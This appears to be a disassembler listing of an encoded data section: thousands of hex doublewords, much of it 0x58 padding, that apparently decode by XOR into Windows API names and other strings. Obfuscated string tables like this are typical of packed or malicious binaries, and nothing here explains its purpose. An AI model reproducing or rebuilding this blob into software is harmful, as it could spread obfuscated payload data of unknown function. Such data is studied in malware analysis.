dd 34393B31h, 2C3B3D0Bh, 58363731h, 2C313611h, 31343931h
dd 2A1B3D22h, 3B312C31h, 3D0B3439h, 37312C3Bh, 58585836h
dd 32FC2058h, 9FEF0E8Fh, 782883B0h, 0E596B67Ch, 2457F799h
dd 0DF9E72ADh, 681E4B1Fh, 1ECD59F0h, 0D8C080A5h, 1CAFF731h
dd 0A703E9D3h, 48FE6A7h, 0C8497AD1h, 0C029CB33h, 211BD6A5h
dd 0EC5079FEh, 467D3A11h, 18EB18AEh, 6020998h, 0EE9FF27Eh
dd 774805B1h, 1C4C0B8Eh, 0F9BED95Ah, 8BA39080h, 0B995BEBFh
dd 6F5F8E79h, 8D55DF9Bh, 24CB5ACh, 0BBB15D1Dh, 0B7FBA0F1h
dd 375A81A4h, 7214D23Fh, 0A2611AD5h, 29AED9A7h, 0C5397ADFh
dd 0BD605435h, 0E6B21CA5h, 8697F1FCh, 0E3133813h, 0E7E428AEh
dd 0C3269EE6h, 0F97FA270h, 0B768DDB2h, 0D0455D8Ch, 8C88615Ch
dd 83C1BD81h, 0FA24A0BEh, 0F40E3D47h, 717A1C9Ch, 72A7CFACh
dd 0CC7BFF1Bh, 0CBF861F3h, 3019BA4h, 5494CA3Dh, 0B7AC25D7h
dd 0DC0589A7h, 0F02617DDh, 74BEB837h, 591B4CA6h, 5049F9FBh
dd 0B26DA16h, 62AA6DAFh, 8F8AE3E5h, 0DE8BC972h, 588462B3h
dd 58841D48h, 5884C348h, 5884AF48h, 58585C48h, 32587058h
dd 34583F58h, 58582958h, 82585E58h, 0AFF3E9E9h, 5E58FAF4h
dd 0E0E08B58h, 0F3FDA6FAh, 96585E58h, 0BBE7FDFDh, 5058EEE0h
dd 5F092C58h, 54584173h, 5E585909h, 2A2A4158h, 39376C30h
dd 43585F58h, 2E1C3066h, 58723B37h, 0F5B15854h, 0F6C1C2D8h
dd 0D0E1C5D4h, 58DCD0C3h, 0C99F5853h, 0FEF6EDFEh, 0F1D6EBF1h
dd 5458EBF6h, 0D3E4B258h, 0DCD3DBC0h, 0D7DEF1C6h, 5658C0D3h
dd 0B19BC858h, 0A4A489BBh, 0BC9BABA7h, 0AFA6A1BAh, 0DD585558h
dd 9BAEA48Eh, 8EB8B8AFh, 0B3B4AFA9h, 585458BAh, 70E0D62h
dd 51161703h, 0E064C50h, 5854580Eh, 1910137Ch, 4F08091Dh
dd 1018524Eh, 585C5810h, 7B7E341Ah, 5853586Eh, 0B3E6CA96h
dd 0E3B3C9E3h, 0FAFAF2B8h, 0FF585958h, 585958A9h, 4F588BDEh
dd 87C1E458h, 87C187C1h, 0C1C987C1h, 2 dup(0C187C187h)
dd 8B87CA87h, 584E5889h, 0F0B6F0D5h, 0F0B6F0B6h, 0F8B6F0B6h
dd 2 dup(0B6F0B6F0h), 58A0A7FBh, 16655852h, 0A3A0603h
dd 9014B16h, 58525809h, 0BDB8ADDEh, 0F0ADB181h, 58B2B2BAh
dd 0F8DD585Ch, 5881E7BEh, 0B8EA5848h, 9FBB8D8Fh, 0BC93988Fh
dd 8F9F868Bh, 58AB92AFh, 0E1AE5848h, 0FEC0CBDEh, 0CBCDC1DCh
dd 0C1FADDDDh, 58C0CBC5h, 0EEA9584Bh, 0C6FDDDCCh, 0E0C7CCC2h
dd 0DBC6CFC7h, 0C0DDC8C4h, 4458C7C6h, 7F581158h, 70786578h
dd 746B787Dh, 64727442h, 68657863h, 72627455h, 65617863h
dd 5458637Eh, 5E7C3B58h, 5E486E4Fh, 565A7549h, 55587A5Eh
dd 7B4C1E58h, 7B6E5179h, 677B5570h, 585F665Bh, 0ADFE5842h
dd 9BAD8A9Bh, 978C8B9Dh, 9BBA878Ah, 978C9D8Dh, 8C918A8Eh
dd 9B9089B1h, 584A588Ch, 0E8F9DB9Ch, 0CFF8F5CFh, 0E9DDFEE9h
dd 0EEF3F4E8h, 58E5E8F5h, 0CD9E5848h, 0F7D8EAFBh, 0FBCDFBF2h
dd 0F7ECEBFDh, 58DFE7EAh, 0B9F5584Dh, 809E9A9Ah, 9C87A585h
dd 90999C83h, 94A39092h, 0B4908099h, 0EA584F58h, 0B99E8FADh
dd 9FB98E83h, 9E9FAB88h, 83988582h, 85A9939Eh, 589E849Fh
dd 1C5D584Dh, 2E283739h, 36320929h, 2F0D3338h, 31342B34h
dd 2E383A38h, 70585358h, 33171522h, 15031F1Ch, 5809153Bh
dd 0C98E5841h, 0E7DDFAEBh, 0EBEAC7EAh, 0E8E7FAE0h, 0CFFCEBE7h
dd 0E1E6FAFBh, 0F7FAE7FCh, 1F584158h, 4C6B7A4Ch, 6D6A7C7Ah
dd 5B666B76h, 6D7C6C7Ah, 706B6F76h, 7C7E5B6Dh, 58545873h
dd 0E3F1F495h, 0A6FCE5F4h, 0F9F1BBA7h, 585458F9h, 0C0D2D7B6h
dd 85DFC6D7h, 0DAD29884h, 585958DAh, 5A58304Ch, 0F5A98958h
dd 0A4585958h, 585C589Eh, 36666343h, 58595879h, 52582D51h
dd 55496958h, 243B262Fh, 571C4C53h, 0AC585358h, 0FEEA908Ch
dd 96E9E1EDh, 5892D989h, 0FFDF5852h, 9E8D99E3h, 92E59A92h
dd 585858E1h, 58585D58h, 24585258h, 3E583358h, 37582758h
dd 58585858h, 58585C58h, 0A586458h, 9580558h, 58580158h
dd 76585A58h, 59585656h, 58CCE358h, 98F5584Ah, 99819686h
dd 8186AA86h, 86808194h, 0C6879497h, 585658C7h, 0C4C7F2A6h
dd 0C2C8CFF1h, 0CAE5D1C9h, 58D5D5C7h, 7D46585Bh, 5C587B29h
dd 357D4658h, 5C587B29h, 0C09FA458h, 5C588E99h, 0CE91AA58h
dd 58588B97h, 58585B58h, 1584858h, 0F580558h, 59585858h
dd 5892CE58h, 75505857h, 36340C23h, 2A25753Ch, 347E6263h
dd 48583C3Ch, 0EFB99C58h, 0EEEFEBC0h, 0E8E6E9B9h, 0F8B2AEAFh
dd 5358F0F0h, 0F9AF8A58h, 0AFF9AFD6h, 0E6E4A4FFh, 585758F9h
dd 0B29DCBEEh, 9BCB8885h, 0DCDD9482h, 82828AC0h, 0F6585C58h
dd 0AEC4D8D3h, 0B0585958h, 585A5895h, 58C187A2h, 0B6E65851h
dd 93828994h, 82AF9285h, 5E587458h, 0A18110Dh, 1B0C1F09h
dd 3D371302h, 312D312Ch, 9022A38h, 313A3037h, 107E2D29h
dd 2B1D020Ah, 303B2C2Ch, 2C3B082Ah, 3031372Dh, 27585158h
dd 43485577h, 6E534452h
dd 58715843h, 1F160A59h, 0B180E0Dh, 3014051Ch, 2A362B3Ah
dd 52D3F36h, 3D37300Eh, 52A2E36h, 2B2B2C1Ah, 0F2D373Ch
dd 302A2B3Ch, 59583736h, 58D2FC58h, 0B499585Ch, 58B7C1BCh
dd 6A09585Bh, 50585533h, 7577258h, 5C07575Ch, 5A580757h
dd 0BFA5EB58h, 0AB585A58h, 5358F392h, 2337058h, 15041115h
dd 41E1F36h, 58515831h, 808D8EE9h, 8DC7DBDAh, 51588585h
dd 6F6C0B58h, 25393862h, 5867676Fh, 394A5855h, 2F3E3933h
dd 25383A27h, 2F26232Ch, 25585E58h, 4C535740h, 59584046h
dd 58725658h, 1340585Eh, 5141319h, 5850580Dh, 12047757h
dd 141E0105h, 58185812h, 3020140h, 7060504h, 0B0A0908h
dd 0F0E0D0Ch, 13121110h, 17161514h, 211A1918h, 25242322h
dd 29282726h, 2D2C2B2Ah, 31302F2Eh, 35343332h, 39383736h
dd 7271703Ah, 76757473h, 6B797877h, 5858586Fh, 58585158h
dd 9258F058h, 96589558h, 82589F58h, 0B5589558h, 94589E58h
dd 78585858h, 7B2D0858h, 6B7A7B28h, 7C7C6035h, 27273278h
dd 60377B2Dh, 2E7B2D35h, 7D2D357Eh, 2D35782Eh, 1B58367Bh
dd 2A7C5958h, 3A2B2A79h, 2D2D3164h, 76766329h, 31662A7Ch
dd 7F2A7C64h, 2C7C6430h, 367F2A7Ch, 7F2C7C64h, 3A7C643Fh
dd 64302A7Fh, 2A7F2A7Ch, 2C7C6436h, 64352D7Fh, 2F7F2C7Ch
dd 7F2C7C64h, 2A7C643Dh, 58485867h, 0C596C0E5h, 0D8869796h
dd 0DACA96C0h, 86C0D883h, 584658DBh, 7C782D11h, 78663176h
dd 2C796575h, 74793121h, 65797678h, 7331212Ch, 7475637Eh
dd 58212C63h, 0A39F585Fh, 0B0A3A1FDh, 5358A1FDh, 537B3658h
dd 51574545h, 4E597453h, 58555877h, 5F49682Ch, 55435E58h
dd 4842457Bh, 56585B43h, 0EED88B58h, 0E5E2DCFFh, 0DFFCE4EFh
dd 0CAFFF3EEh, 16584A58h, 7B637853h, 7D657352h, 41667962h
dd 7972787Fh, 52586561h, 0D6F4B958h, 0D0EEDCCFh, 0CED6DDD7h
dd 48584858h, 383B210Ch, 202B3C29h, 3B3B2D05h, 92D2F29h
dd 9E585358h, 0D3EAFBD9h, 0FFEDEDFBh, 58DFFBF9h, 0D4A5851h
dd 231D3E2Fh, 3D252E24h, 0AF585558h, 0F8DBCAE8h, 0C0CBC1C6h
dd 0CCCAFDD8h, 585758DBh, 0D2DFFDBEh, 0D0D7E9D2h, 0EEC9D1DAh
dd 0FFDDD1CCh, 97585658h, 0C0E3F2D0h, 0F8F3F9FEh, 0EFF2C3E0h
dd 5558D6E3h, 46642358h, 424F6057h, 426D5050h, 5862464Eh
dd 22715856h, 18260514h, 61E151Fh, 161F1E3Dh, 58545830h
dd 0DCD7E1B2h, 0C1D7FFD6h, 0D7D5D3C1h, 584858F3h, 0EAF9DF8Bh
dd 0EAE7F8E5h, 0EEC6EEFFh, 0ECEAF8F8h, 585058EEh, 0C9D8EEBDh
dd 0D8D0D4E9h, 585058CFh, 12033566h, 13050920h, 58565815h
dd 0C7C5F2A0h, 0C5D4D3C9h, 0C1CCE3D2h, 58E1D3D3h, 8BD85852h
dd 8FAFB7B0h, 0B7BCB6B1h, 585558AFh, 23240B4Dh, 23241A29h
dd 83A2229h, 57580C35h, 7A4B0858h, 6D7C696Dh, 6C66615Fh
dd 704D7F67h, 584B5849h, 69785A1Dh, 786F725Bh, 68726F7Ah
dd 744A7973h, 6A727973h, 0A8585658h, 0FFDCCDEFh, 0C7CCC6C1h
dd 0C6C7E4DFh, 5658E9CFh, 0CEEFAB58h, 0C5C2FCCDh, 0FBDCC4CFh
dd 0EAC8C4D9h, 0BD585258h, 0CFD8CEC8h, 0D9938F8Eh, 5258D1D1h
dd 0F1F78258h, 0B0B1F0E7h, 0EEEEE6ACh, 0D1585558h, 0B085BE92h
dd 0B49CBAA2h, 0B4A397BCh, 585358B4h, 0DDEBD198h, 0F4F9EDE9h
dd 0DCD1CDDFh, 19584858h, 6B5A765Ah, 7C6D787Ch, 6D6A7750h
dd 7C7A7778h, 0C1585758h, 88928D82h, 0AEB38785h, 0B3B592ACh
dd 58A6AFA8h, 6D2E5854h, 47406741h, 424F475Ah, 584B5447h
dd 490A5856h, 63645F65h, 637E6364h, 7063666Bh, 5851586Fh
dd 464F4C23h, 470D1110h, 51584F4Fh, 0C8CBA458h, 8A9697C1h
dd 58C8C8C0h, 58065858h, 8EF65859h, 16585958h, 5859584Ah
dd 58582C0Ch, 4B58A958h, 0D4EFBA58h, 0DFD6D8DBh, 9AD5CE9Ah
dd 0D2CECFDBh, 0C0D3C8D5h, 586D58DFh, 0E3ECD782h, 0A2E7EEE0h
dd 0E3A2EDF6h, 0EDEAF6F7h, 0E7F8EBF0h, 0CBA2AFA2h, 0D0CDC1CCh
dd 0D6C1C7D0h, 0CCCBD2A2h, 0EED2A2ACh, 0E7F1E3E7h, 0EDE1A2AEh
dd 0E1E7F0F0h, 5958ACF6h, 58BF9258h, 7A2A5846h, 594B4F46h
dd 590A064Fh, 494F464Fh, 526F0A5Eh, 4B58435Ah, 4445435Eh
dd 4B4F730Ah, 58595858h, 47584565h, 0F7CB9B58h, 0FEE8FAFEh
dd 0FEE8BBB7h, 0EFF8FEF7h, 0EBE3DEBBh, 0EFFAE9F2h, 0BBF5F4F2h
dd 0EFF5F4D6h, 584A58F3h, 0EBEEDB88h, 0E1CEFBC1h, 0FAD8EDE4h
dd 0EBEDFCE7h, 58ECEDFCh, 1665585Fh, 14B0603h, 5F580909h
dd 81D6E58h, 20A400Dh, 58595802h, 258E498h, 8BA9E858h
dd 869D878Bh, 89A6C89Ch, 0B8CB8D85h, 0C8DBB8A7h, 9E9A8DBBh
dd 0BBCB9A8Dh, 0C8B8BCA5h, 9E9A8DBBh, 0BBCB9A8Dh, 0C8B8BCA5h
dd 989B81ACh, 0C8918984h, 8D8589A6h, 0BCA5BBCBh, 85ADC8B8h
dd 0C8848189h, 9A8C8CA9h, 0CB9B9B8Dh, 0DBB8A7B8h, 8D9BBDC8h
dd 89A6C89Ah, 0CBCB8D85h, 13585658h, 20435C43h, 60724333h
dd 617C6460h, 61582177h, 35297A58h, 3B2D2E3Ch, 37263F28h
dd 15081913h, 0E1C1509h, 0E143326h, 1F14081Fh, 193B5A0Eh
dd 140F1519h, 1B375A0Eh, 1F1D1B14h, 193B2608h, 140F1519h
dd 5F26090Eh, 5802424Ah, 390C3D0Bh, 2F173D33h, 2B2A3D36h
dd 8283130h, 312E312Ah, 3D3F3D34h, 0C5585D58h, 0B6E0B6E0h
dd 585D5899h, 86D086A3h, 5B58FFD0h, 54022758h, 585C580Dh
dd 663F795Ch, 58595800h, 5958C4B8h, 58C2BE58h, 9AD35841h
dd 9087969Dh, 0F39E9E9Ch, 0A5A1B680h, 83F3A1B6h, 0A4A0A0B2h
dd 0A0B7A1BCh, 0D3585958h, 585D58AFh, 0A986D0F5h, 5D5886D0h
dd 5F092C58h, 585F0970h, 8FAA585Ch, 5880F6D9h, 3D1C5859h
dd 0A9585958h, 585C5883h, 76767276h, 58595876h, 59585774h
dd 58143758h, 0B1925859h, 93585F58h, 0E3E7E7FBh, 58BCBCA9h
dd 785B5859h, 3585F58h, 7377776Bh, 582C2C39h, 0D1B25C53h
dd 0DAD1D7DAh, 0C0C2DCD7h, 9CC1C1D7h, 0DDD4DCDBh, 0DEDDD591h
dd 0DEDDC2D6h, 0DDD19CDEh, 0DCDB91DFh, 0DEDDD5C6h, 0DDD19CD6h
dd 0C5C591DFh, 0D0D19CC5h, 0C7C09CC0h, 0C5C5C591h, 0D1C4D39Ch
dd 0D9D1D7DAh, 91C7C09Ch, 0C0DDC6C1h, 0CBD3C2DFh, 0DFDDD19Ch
dd 0C7C0D191h, 9CC2DDC6h, 0DC91C7DCh, 0D79CC5D7h, 0D19CD5D5h
dd 0C591DFDDh, 0C29CC5C5h, 0DBC8DCDDh, 0DFD3D1C1h, 0DDD19CC1h
dd 0C4D391DFh, 0D1D7DAD1h, 0C7C09CD9h, 0D1C4D391h, 0D9D1D7DAh
dd 0C8DBD09Ch, 0C5C5C591h, 0DBD0D09Ch, 0C7C09CDCh, 0C1D3DF91h
dd 9FC0D7C6h, 0DDD19CCAh, 0C5C591DFh, 0DDC29CC5h, 0C1DBC8DCh
dd 0C1DFD3D1h, 0DFDDD19Ch, 0C5C5C591h, 0DCD3D09Ch, 0D3D09FD9h
dd 0D7C7C3DCh, 0DCD3D19Fh, 9CD3D6D3h, 0C591D3D1h, 0C29CC5C5h
dd 0DBC8DCDDh, 0DFD3D1C1h, 0DDD19CC1h, 0C5C591DFh, 0DFD09CC5h
dd 0DDD19CDDh, 0D3C291DFh, 0DED3C2CBh, 0DFDDD19Ch, 0D3D0D791h
dd 0DDD19CCBh, 0C5C591DFh, 0D3D09CC5h, 0D4DDD9DCh, 0C7D6D3DFh
dd 0D19CD3C0h, 0C591DFDDh, 0D19CC5C5h, 9CD1D0DBh, 91DFDDD1h
dd 9CC5C5C5h, 9CD0C6C4h, 0C591C7C0h, 0D19CC5C5h, 0DCD3D0C5h
dd 0DDD19CD9h, 0DDD591DFh, 0DDC2D6DEh, 0D19CDEDEh, 0C591DFDDh
dd 0C29CC5C5h, 0DBC8DCDDh, 0DFD3D1C1h, 0DDD19CC1h, 0C5C591DFh
dd 0DFDF9CC5h, 0D9DCD3D0h, 91C7C09Ch, 9CC5C5C5h, 0D3DBDCC7h
dd 0C7C0C6C1h, 0C7C09CDFh, 0DEDDD591h, 0DEDDC2D6h, 0DDD19CDEh
dd 0C5C591DFh, 0DDC29CC5h, 0C1DBC8DCh, 0C1DFD3D1h, 0DFDDD19Ch
dd 0C5C5C591h, 0C0DDC59Ch
dd 0D3D0D6DEh, 0DD9CD9DCh, 0C591D5C0h, 0D19CC5C5h, 0DBD6DCD3h
dd 0D7C6D3D6h, 0DBC0D7C4h, 0C0D7DBD4h, 0DFDDD19Ch, 0C5C5C591h
dd 0DCDDC29Ch, 0D1C1DBC8h, 9CC1DFD3h, 91DFDDD1h, 9CC5C5C5h
dd 0D9DCD3D0h, 0DCDBD4DDh, 9CD3DBD6h, 91DFDDD1h, 9CC5C5C5h
dd 0D3D0D1DBh, 0C09CD9DCh, 0C4D391C7h, 0D1D7DAD1h, 0C7C09CD9h
dd 0C5C5C591h, 0DCD7C49Ch, 0C1C0DDD6h, 0D7DFD3DCh, 91C1C59Ch
dd 9CC5C5C5h, 9CD0DFD9h, 0C591C7C0h, 0DC9CC5C5h, 0D3DFC6D7h
dd 0C6C1DBD5h, 0D19CC0D7h, 0D991DFDDh, 0D3D9C4D3h, 0DCD7D1C8h
dd 9CC0D7C6h, 91DFDDD1h, 9CC5C5C5h, 0D6DCD7C4h, 0DCC1C0DDh
dd 9CD7DFD3h, 0DF91C1C5h, 0DEDCDDCBh, 0D3D7DCDBh, 0C7DDD1D1h
dd 80C1C6DCh, 0D0D0D39Ch, 0D3DCCBD7h, 0DCDDDBC6h, 0D19CDED3h
dd 0D9C79CDDh, 0DEDCDD91h, 9FD7DCDBh, 0DBC1C7D0h, 0C1C1D7DCh
dd 0DDDEDE9Ch, 0C6C1D6CBh, 0D19CD0C1h, 0D9C79CDDh, 0C5C5C591h
dd 0DEDED39Ch, 0D0D3DAD3h, 0D3D0D6D3h, 0D19CD9DCh, 0C591DFDDh
dd 0C09CC5C5h, 0D19CD1D0h, 0C591DFDDh, 0C29CC5C5h, 0DBC8DCDDh
dd 0DFD3D1C1h, 0DDD19CC1h, 0C5C591DFh, 0DA9C83C5h, 9CD1D0C1h
dd 0D991D3D1h, 0D7C0D0D5h, 0D1CAD3DEh, 9CD0C7DEh, 0CB91C7C0h
dd 0DDD0DFD3h, 0C8DBD09Ch, 0D6DBD991h, 0D09FC1DDh, 9CD9DCD3h
dd 0C591C7C0h, 0DE9CC5C5h, 0DBD6D1D0h, 0C6D1D7C0h, 0C7D3DE9Ch
dd 0C6DCD7C0h, 0D0DCD3DBh, 9CD9DCD3h, 0D091D3D1h, 0DED1C0D3h
dd 9CC1CBD3h, 91DFDDD1h, 0D3C6DDC6h, 0D4CBDEDEh, 0D0D7D7C0h
dd 0DBD9DCD3h, 0D19CD5DCh, 0C591DFDDh, 0DC9CC5C5h, 0D19CD1D0h
dd 818791D3h, 0D9DCD3D0h, 0DFDDD19Ch, 0C5C5C591h, 0DCD7C49Ch
dd 0C1C0DDD6h, 0D7DFD3DCh, 91DCC49Ch, 9CC5C5C5h, 9FD080D0h
dd 0C1C7C0C6h, 0DDD19CC6h, 0C5C591DFh, 0D7C49CC5h, 0C0DDD6DCh
dd 0DFD3DCC1h, 0C1C59CD7h, 0D7C2DD91h, 0DCD3D0DCh, 0DDD19CD9h
dd 0D3C691DFh, 0D7DC9FC6h, 0D3D0C6D4h, 0C09CD9DCh, 0D7C191C7h
dd 0D0D3DED1h, 91C7C09Ch, 0C7D1D7C1h, 0CBC6DBC0h, 9CD0D3DEh
dd 0D491C7C0h, 0D3DAC6D7h, 0D09CD6C0h, 0D591C8DBh, 0CADCDDC0h
dd 0DCD3DEC2h, 9CC1C6D7h, 0C491C7C0h, 0DDD6DCD7h, 0D3DCC1C0h
dd 0C49CD7DFh, 5C5891DCh, 17022758h, 4A587F1Fh, 25145758h
dd 223272Eh, 38252739h, 23343223h, 36233613h, 0B9585358h
dd 0C9C0CBDAh, 978B8ACDh, 58D5D5DDh, 35565853h, 22262F24h
dd 32786465h, 4B583A3Ah, 41632458h, 56516750h, 504A4156h
dd 474B5674h, 6D575741h, 58515840h, 0C6DDF8AFh, 0C6E9CADBh
dd 4958CAC3h, 0B99BDC58h, 0AFB598A8h, 0B9AE9AB7h, 0BDAC8FB9h
dd 589DB9BFh, 0CC8B584Eh, 0E5CEFFEEh, 0E4F9E2FDh, 0E5EEE6E5h
dd 0F9FFD8FFh, 0F8ECE5E2h, 584B58CAh, 79684A0Dh, 797E745Eh
dd 64496068h, 796E687Fh, 4C747F62h, 52585458h, 6263715h
dd 2223F37h, 133A2633h, 0DD585058h, 0AFA9AEB1h, 8AB3B8B1h
dd 0E4585658h, 0A89081A3h, 8885878Bh, 828AAD81h, 5558A58Bh
dd 0F0D29558h, 0FCE7D1E1h, 0ECC1F0E3h, 58D4F0E5h, 9DDE5853h
dd 0BBADB1B2h, 0BAB0BF96h, 5658BBB2h, 9BADFE58h, 9297B88Ah
dd 9791AE9Bh, 8C9B8A90h, 79585458h, 1D181635h, 0B1B1035h
dd 38000B18h, 65585558h, 3F091137h, 280A1700h, 170A0800h
dd 585F581Ch, 106386Fh, 0C0A172Ah, 0E6585258h, 928F9EA3h
dd 83948EB2h, 4C588287h, 61460F58h, 637D6A7Bh, 6A646C60h
dd 6C61466Bh, 6A626A7Dh, 55587B61h, 0E216758h, 2290309h
dd 0E21131Fh, 5826020Bh, 0D2955855h, 0ECC6E1F0h, 0F8F0E1E6h
dd 0F0F8FCC1h, 47585458h, 13332200h, 42C242Eh, 33293228h
dd 95584858h, 0D8E1F0D2h, 0F9E0F1FAh, 0FBF4DDF0h, 0D4F0F9F1h
dd 7F585358h, 0B0D1629h, 39131E0Ah, 581A1A0Dh, 783B5853h
dd 4F5A5E49h, 57527D5Eh, 52587A5Eh, 0D5EAA558h, 0D0E8CBC0h
dd 0E4DDC0D1h, 0DC585358h, 9AA8B99Bh, 8FB9B0B5h, 58B9A6B5h
dd 25635853h, 2F060611h, 211010Ah, 54581A11h, 0C0FFA958h
dd 0C8DCDDDBh, 0C5C5E8C5h, 4858CAC6h, 14367158h, 1C1E3205h
dd 14050401h, 1C103F03h, 53583014h, 1E216E58h, 1C3E000Bh
dd 1D0B0D01h, 584F581Dh, 0D1C6F2B4h, 0C2DAF1D1h, 0DADBC6DDh
dd 0C0DAD1D9h, 0DDC6C0E7h, 0F5C7D3DAh, 0E3585658h, 878D8AA5h
dd 90918AA5h, 8F8AA597h, 5458A286h, 97A6E558h, 80918480h
dd 809190A8h, 4C58A49Dh, 87A0E958h, 859B8C9Dh, 8C828A86h
dd 8A8CAD8Dh, 8C848C9Bh, 4C589D87h, 0C5EAAC58h, 0C5F8C9C0h
dd 0C3F8C9C1h, 0D8DFD5FFh, 0C5F8C1C9h, 5558C9C1h, 0B694D358h
dd 0A1B685A7h, 0BDBCBAA0h, 5892AB96h, 5B185851h, 5E616877h
dd 597D7471h, 0C7584D58h, 91B3A280h, 0AAB2ABA8h, 0A1A98EA2h
dd 0A6AAB5A8h, 0A9A8AEB3h, 58505886h, 7C784F1Dh, 71745B79h
dd 584B5878h, 0ACA19FC8h, 0A9A08BADh, 85A79CBAh, 0A1BCA4BDh
dd 0ADBCB18Ah, 56585758h, 263B3915h, 10332437h, 2333A3Fh
dd 58333B3Fh, 4E095849h, 714C7D6Ch, 664A7D60h, 615D6C6Dh
dd 6D686C7Bh, 53584B58h, 273F261Eh, 272A113Ah, 43C0736h
dd 1036373Ah, 5821323Bh, 0E5A95851h, 0C5C8CAC6h, 0CCCCDBEFh
dd 0D7584B58h, 0A3BEB680h, 84A5B891h, 0BBB0B9BEh, 0BDB598B2h
dd 58A3B4B2h, 5F18584Ah, 77556C7Dh, 7D746D7Ch, 7D74715Eh
dd 7D757956h, 58535859h, 666F4E0Ah, 4C6F7E6Fh, 4B6F6663h
dd 0A5585458h, 0E0D1C0F6h, 0D7CAD7D7h, 0C0C1CAE8h, 0E9585158h
dd 8D8780AFh, 9A8685AAh, 5852588Ch, 7975561Ah, 765B767Bh
dd 58797576h, 86C1584Ah, 0B482B5A4h, 0AFA4B3B3h, 0B3A995B5h
dd 88A5A0A4h, 585E58A5h, 7104795Ch, 587D0479h, 0D08C585Fh
dd 0E8A2A6FCh, 5E58E0E0h, 80F7C58h, 81D1F0Eh, 29585E58h
dd 4A444C44h, 50585059h, 57522458h, 4A4D5654h, 5F584250h
dd 7F7C0F58h, 7B61667Dh, 585F5869h, 0B2A8B3C7h, 0B5A2B7B7h
dd 4E585C58h, 27213A2Fh, 0E0585E58h, 8C8C818Dh, 5D58838Fh
dd 56572458h, 58404A45h, 3F60585Eh, 5050C13h, 585C5810h
dd 988F9BFDh, 585C5898h, 0B1BEADDFh, 585E58BBh, 0DDD5DDB0h
dd 58C0DDD3h, 9EED585Eh, 9D8E9F99h, 585E5894h, 0DDD5DDB0h
dd 58C4D5C3h, 0E2815852h, 0EDE5F5F3h, 0EDE5AFEDh, 585258EDh
dd 0D5D3C2A1h, 8FCDCDC5h, 58CDCDC5h, 58C65858h, 7653585Dh
dd 20760F20h, 0A5585D58h, 80F9D680h, 585C58D6h, 7C530520h
dd 585C580Ah, 5B024461h, 584C583Dh, 98BFBCECh, 0AF899E83h
dd 988D899Eh, 9F82A589h, 8F828D98h, 58535889h, 191E1D6Dh
dd 0E081F02h, 1010943h, 3B585358h, 544F484Bh, 15585E49h
dd 5857575Fh, 0E883585Eh, 0F5AEF2E8h, 585058FBh, 0E4C89EBBh
dd 9EC3CFD6h, 584958CEh, 0F0EACD84h, 0E1EAF6E1h, 0FCC1A4F0h
dd 0F6EBE8F4h, 4858F6E1h, 0B0ABF858h, 0BE8C9DBFh, 9D9C9497h
dd 8C99A88Ah, 5358B990h, 42592A58h, 1946464Fh, 464E0418h
dd 58535846h, 636E7506h, 34356A6Ah, 6A6A6228h, 61585958h
dd 585D583Dh, 0D2D79DB3h, 4E58D2C7h, 5D723158h, 115A5258h
dd 54525F7Eh, 115E6511h, 455F5E72h, 54445F58h, 0B1585E58h
dd 0E5E5E4F3h, 4658FFFEh, 160B4E58h, 0F1C071Eh, 1071Ah
dd 1A0F0A6Eh, 4444440Bh, 6E031A0Fh, 6E00071Eh, 0B0A010Dh
dd 4B585E58h, 1F0A1F18h, 58580802h, 5C584858h, 45440158h
dd 5E585548h, 2E2C1E58h, 6B2C303Bh, 0C2585C58h, 0B7F0ECE7h
dd 0E0585858h, 21585058h
dd 636C6E62h, 796E636Eh, 1E585858h, 0EB585058h, 0A9A6A4A8h
dd 0B3A4A9A4h, 65585E58h, 31243136h, 3658262Ch, 675C0958h
dd 6C656B68h, 29667D29h, 617D7C68h, 73607B66h, 2C03276Ch
dd 7B79297Ah, 7A6C6A66h, 6E67607Ah, 676C6A29h, 297B6C7Dh
dd 7C297A60h, 656B6867h, 667D296Ch, 7D7C6829h, 607B6661h
dd 70296C73h, 297B7C66h, 6D7B686Ah, 277A2C29h, 62684403h
dd 666A296Ch, 6A6C7B7Bh, 6766607Dh, 6768297Ah, 7B7D296Dh
dd 6E682970h, 27676068h, 0BE585258h, 0CACDDFF3h, 0DFFDCCDBh
dd 5C58DACCh, 0ABB4E258h, 5958A3B1h, 583F1F58h, 93C0585Eh
dd 89948194h, 584D5883h, 2B2B010Bh, 44595B2Bh, 58584E48h
dd 2B4C4542h, 47424A4Dh, 5E584F4Eh, 0E3E4B758h, 0F4FEE3F6h
dd 63585858h, 0FA585E58h, 0AEBBAEA9h, 5E58B9B3h, 57573C58h
dd 444A114Dh, 41585058h, 2D313904h, 3324332Eh, 99585158h
dd 0D6FAF6DDh, 0FAFCF3FBh, 585658EDh, 0A0A396C2h, 0A6ACAB95h
dd 0AE81B5ADh, 58B1B1A3h, 58777762h, 0F8012A58h, 97AEF0C3h
dd 581AFC49h, 0D75291F8h, 195EB861h, 8861C2A6h, 58D4FC49h
dd 0D75291F8h, 0FF4DF861h, 883DDF6Ch, 5812CA49h, 0F49FF778h
dd 8AA0315h, 97C0ED68h, 58DAE349h, 96E558F2h, 0CEEADC53h
dd 42E2ECE9h, 58C4EE48h, 456C58F2h, 5A5C585Fh, 58585858h
dd 58589858h, 58585858h, 741C7D1Eh, 887E936Bh, 58DBEC49h
dd 59811798h, 8AA4741h, 97C0ED68h, 58DAE349h, 96E558F2h
dd 8A9A753h, 97C0ED68h, 58DAE349h, 96E558F2h, 8A9AF53h
dd 97C0ED68h, 58DAE349h, 96E558F2h, 8AA1853h, 97C0ED68h
dd 58DAE349h, 96E558F2h, 741C7F53h, 887E936Bh, 58DBEC49h
dd 59811798h, 93315841h, 9715CDDDh, 5854CE49h, 0B6AC9FD8h
dd 585858DDh, 58585858h, 58589858h, 58585858h, 544E391Eh
dd 8895F78Bh, 5866D249h, 0BA911798h, 58585836h, 51h dup(58585858h)
dd 49F82858h, 2 dup(58585858h), 49F9DC58h, 49F8F458h, 49F8DC58h
dd 2 dup(58585858h), 49F9F858h, 49F89858h, 12h dup(58585858h)
dd 49F8B058h, 49F8A058h, 49F94C58h, 2 dup(58585858h), 49F97858h
dd 49F97458h, 49F91858h, 49F91458h, 49F90058h, 49F93C58h
dd 49F93458h, 49F92058h, 2 dup(58585858h), 49F8B058h, 49F8A058h
dd 49F94C58h, 2 dup(58585858h), 49F97858h, 49F97458h, 49F91858h
dd 49F91458h, 49F90058h, 49F93C58h, 49F93458h, 49F92058h
dd 2 dup(58585858h), 1D58C358h, 82C3120h, 3D3B372Ah, 58582B2Bh
dd 1F597C58h, 361D2C3Dh, 372A312Eh, 363D3536h, 2A2C0B2Ch
